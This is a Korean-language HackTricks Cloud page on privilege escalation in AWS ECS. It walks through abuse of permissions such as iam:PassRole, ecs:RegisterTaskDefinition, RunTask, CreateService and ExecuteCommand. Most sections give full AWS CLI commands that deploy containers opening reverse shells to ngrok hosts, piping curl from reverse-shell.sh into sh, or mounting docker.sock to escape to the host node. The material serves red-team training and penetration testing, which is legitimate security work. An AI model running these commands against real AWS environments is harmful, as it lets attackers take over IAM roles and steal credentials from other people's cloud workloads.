AWS - ECS Privesc
Reading time: 8 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
ECS
ECS에 대한 더 많은 정보는 다음에서 확인할 수 있습니다:
iam:PassRole
, ecs:RegisterTaskDefinition
, ecs:RunTask
ECS에서 iam:PassRole
, ecs:RegisterTaskDefinition
및 ecs:RunTask
권한을 악용하는 공격자는 악성 컨테이너가 포함된 새로운 작업 정의를 생성하고 이를 실행할 수 있습니다.
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"
# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
Potential Impact: 다른 ECS 역할로의 직접적인 권한 상승.
iam:PassRole
, ecs:RegisterTaskDefinition
, ecs:StartTask
이전 예제와 마찬가지로, 공격자가 ECS에서 iam:PassRole
, ecs:RegisterTaskDefinition
, ecs:StartTask
권한을 악용하면 악성 컨테이너가 포함된 새로운 작업 정의를 생성하고 실행할 수 있습니다.
그러나 이 경우, 악성 작업 정의를 실행할 컨테이너 인스턴스가 필요합니다.
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>
# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
잠재적 영향: 모든 ECS 역할에 대한 직접적인 권한 상승.
iam:PassRole
, ecs:RegisterTaskDefinition
, (ecs:UpdateService|ecs:CreateService)
이전 예제와 마찬가지로 공격자가 ECS에서 iam:PassRole
, ecs:RegisterTaskDefinition
, ecs:UpdateService
또는 ecs:CreateService
권한을 악용하면 악성 컨테이너가 포함된 새로운 작업 정의를 생성하고, 최소 1개의 작업이 실행되는 새로운 서비스를 생성하여 실행할 수 있습니다.
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"
# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"
# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>
잠재적 영향: 모든 ECS 역할에 대한 직접적인 권한 상승.
iam:PassRole
, (ecs:UpdateService|ecs:CreateService)
사실, 이러한 권한만으로도 임의의 역할을 가진 컨테이너에서 임의의 명령을 실행하기 위해 오버라이드를 사용할 수 있습니다.
aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
잠재적 영향: 모든 ECS 역할에 대한 직접적인 권한 상승.
ecs:RegisterTaskDefinition
, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)
이 시나리오는 이전과 유사하지만 iam:PassRole
권한이 없는 경우입니다.
여전히 흥미로운 점은 임의의 컨테이너를 실행할 수 있다면, 역할 없이도 특권 컨테이너를 실행하여 노드로 탈출하고 EC2 IAM 역할 및 노드에서 실행 중인 다른 ECS 컨테이너 역할을 탈취할 수 있다는 것입니다.
또한 당신이 손상시킨 EC2 인스턴스 내에서 다른 작업을 강제로 실행하여 그들의 자격 증명을 탈취할 수도 있습니다 (자세한 내용은 노드로의 권한 상승 섹션에서 논의됨).
warning
이 공격은 ECS 클러스터가 EC2 인스턴스를 사용하고 있을 때만 가능합니다.
printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json
printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json
aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2
# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
ecs:ExecuteCommand
, ecs:DescribeTasks,
(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)
ecs:ExecuteCommand
, ecs:DescribeTasks
권한을 가진 공격자는 실행 중인 컨테이너 내에서 명령을 실행하고 연결된 IAM 역할을 유출할 수 있습니다 (이 작업을 수행하려면 aws ecs execute-command
를 실행하는 데 필요한 설명 권한이 필요합니다).
그러나 그렇게 하려면 컨테이너 인스턴스가 ExecuteCommand 에이전트를 실행 중이어야 합니다 (기본적으로는 그렇지 않습니다).
따라서 공격자는 다음을 시도할 수 있습니다:
- 모든 실행 중인 컨테이너에서 명령을 실행해 보십시오.
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo " Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done
# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
- 그가
ecs:RunTask
권한이 있다면,aws ecs run-task --enable-execute-command [...]
로 작업을 실행하십시오. - 그가
ecs:StartTask
권한이 있다면,aws ecs start-task --enable-execute-command [...]
로 작업을 실행하십시오. - 그가
ecs:CreateService
권한이 있다면,aws ecs create-service --enable-execute-command [...]
로 서비스를 생성하십시오. - 그가
ecs:UpdateService
권한이 있다면,aws ecs update-service --enable-execute-command [...]
로 서비스를 업데이트하십시오.
이 옵션들의 예시는 이전 ECS privesc 섹션에서 찾을 수 있습니다.
잠재적 영향: 컨테이너에 연결된 다른 역할로의 권한 상승.
ssm:StartSession
ssm privesc 페이지에서 이 권한을 어떻게 악용하여 ECS로 권한 상승할 수 있는지 확인하십시오:
iam:PassRole
, ec2:RunInstances
ec2 privesc 페이지에서 이 권한들을 어떻게 악용하여 ECS로 권한 상승할 수 있는지 확인하십시오:
?ecs:RegisterContainerInstance
TODO: 공격자가 제어하는 머신에서 작업이 실행되도록 다른 AWS 계정에서 인스턴스를 등록할 수 있는지??
ecs:CreateTaskSet
, ecs:UpdateServicePrimaryTaskSet
, ecs:DescribeTaskSets
note
TODO: 테스트하기
ecs:CreateTaskSet
, ecs:UpdateServicePrimaryTaskSet
, 및 ecs:DescribeTaskSets
권한을 가진 공격자는 기존 ECS 서비스에 대해 악성 작업 세트를 생성하고 기본 작업 세트를 업데이트할 수 있습니다. 이는 공격자가 서비스 내에서 임의의 코드를 실행할 수 있게 합니다.
bashCopy code# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json
aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json
# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"
# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
잠재적 영향: 영향을 받는 서비스에서 임의의 코드를 실행하여 기능에 영향을 미치거나 민감한 데이터를 유출할 수 있습니다.
참조
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.